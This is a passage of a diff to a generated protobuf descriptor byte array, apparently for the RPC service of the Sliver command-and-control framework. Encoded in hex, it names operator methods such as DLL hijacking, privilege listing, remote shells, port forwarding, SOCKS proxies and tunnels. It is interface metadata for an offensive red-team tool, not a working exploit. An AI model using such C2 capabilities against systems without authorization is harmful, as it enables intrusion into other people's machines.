0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, - 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, - 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, - 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, - 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, - 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, - 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, - 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, - 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, - 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, + 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, + 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, - 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, + 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, - 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, - 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, - 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, - 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, - 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, - 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, - 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, - 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, - 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, - 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, - 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, - 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, - 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, - 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, - 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, - 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, - 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, - 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, - 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, - 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, - 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, - 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, - 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, - 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, - 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, - 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, - 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, + 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, + 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, + 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, + 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, + 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, + 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, + 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, + 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, + 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, + 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, + 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, + 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x73, 0x12, 0x2c, 0x0a, 0x05, 